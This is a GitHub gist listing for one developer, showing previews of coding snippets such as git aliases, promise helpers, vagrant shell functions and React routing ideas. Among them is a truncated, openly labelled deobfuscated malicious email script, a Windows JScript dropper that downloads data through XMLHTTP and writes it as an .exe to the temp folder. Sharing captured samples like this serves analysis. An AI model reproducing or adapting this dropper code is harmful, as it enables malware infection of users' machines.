Skip to content

Instantly share code, notes, and snippets.

🥑
ArangoDB

Alan Plum pluma

🥑
ArangoDB
Block or report user

Report or block pluma

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View cancellable.js
/*global assert*/
class CancellationError extends Error {}
CancellationError.prototype.name = 'CancellationError'
function deferred () {
let _resolve, _reject
const promise = new Promise((resolve, reject) => {
_resolve = resolve
_reject = reject
})
View .bash_aliases
alias g='git status -sb'
alias ga='git add'
alias gac='git commit -S --amend'
alias gb='git branch'
alias gbb='git checkout -b'
alias gbm='git branch --merged'
alias gbn='git branch --no-merged'
alias gc='git commit -S -m'
alias gcp='git cherry-pick'
alias gco='git checkout'
@pluma
pluma / deobfuscated.js
Last active Mar 22, 2016
Malicious script I got in an e-mail
View deobfuscated.js
var shell = new ActiveXObject('WScript.Shell')
var xhr = new ActiveXObject('MSXML2.XMLHTTP')
var virus = shell.ExpandEnvironmentStrings('%TEMP%') + '/CBMQFs.exe'
xhr.onreadystatechange = function () {
if (xhr.readystate === 4) {
var stream = new ActiveXObject('ADODB.Stream')
stream.open()
stream.type = 1
stream.write(xhr.ResponseBody)
stream.position = 0
View tap
TAP version 13
# api: lintFiles
ok 1 no error while linting
ok 2 result is an object
ok 3 should be equal
# api: lintText
ok 4 no error while linting
ok 5 result is an object
ok 6 should have used single quotes
# Disabled Packages
@pluma
pluma / node-stability.md
Last active Jan 4, 2016
Node stability index badges using buckler.repl.ca
View node-stability.md
[![stability 0 - deprecated](http://b.repl.ca/v1/stability-0_--_deprecated-red.png)
](http://nodejs.org/api/documentation.html#documentation_stability_index)

stability 0 - deprecated

@pluma
pluma / delegating.js
Last active Dec 26, 2015
Slate-like object property delegation. With appologies to Sorella on FreeNode ##javascript.
View delegating.js
require('harmony-reflect');
var uniq = require('uniq');
var arrp = Array.prototype;
function ext(obj) {
var sources = arrp.slice.call(arguments, 1);
sources.forEach(function(src) {
src && Object.keys(src).forEach(function(name) {
obj[name] = src[name];
});
@pluma
pluma / golem.js
Last active Dec 26, 2015
ES-harmony multiple inheritance.
View golem.js
require('harmony-reflect');
var uniq = require('uniq');
var arrp = Array.prototype;
function merge(obj, src) {
Object.keys(src).forEach(function(name) {
var value = src[name];
if (obj.hasOwnProperty(name)) {
merge(obj[name], value);
} else {
View xmldicts.py
from lxml import etree
def node_from_dict(tag, data=None):
node = etree.Element(tag)
if isinstance(data, dict):
for key, value in data.items():
if isinstance(value, list):
for v in value:
node.append(node_from_dict(key, v))
@pluma
pluma / vagrant_aliases.sh
Last active Dec 16, 2015
Bash functions I found useful when working with multiple vagrant projects.
View vagrant_aliases.sh
_vagrant_dirnames() {
if [[ $COMP_CWORD > 1 ]]; then
COMPREPLY=()
return 1
fi
local cur="${COMP_WORDS[COMP_CWORD]}"
pushd ~/vagrant/ > /dev/null
local opts=( $cur*/ )
popd > /dev/null
if [[ "$opts" == "$cur*/" ]]; then
@pluma
pluma / react-routing-dreamcode.js
Last active Nov 30, 2015
Dreamcode for a nested universal/isomorphic router with support for async prefetching and name-based URL generation
View react-routing-dreamcode.js
import React from 'react';
import ReactDOM from 'react-dom';
import {Provider} from 'react-redux';
import {createHistory} from 'history';
import {Router} from '?';
import {Home, UserList, UserDetail, Admin, AdminDashboard} from './views';
import {ErrorView, NotFound, Forbidden, Login} from './views/error';
import {createStore} from './store';
// routes are defined as plain old objects
You can’t perform that action at this time.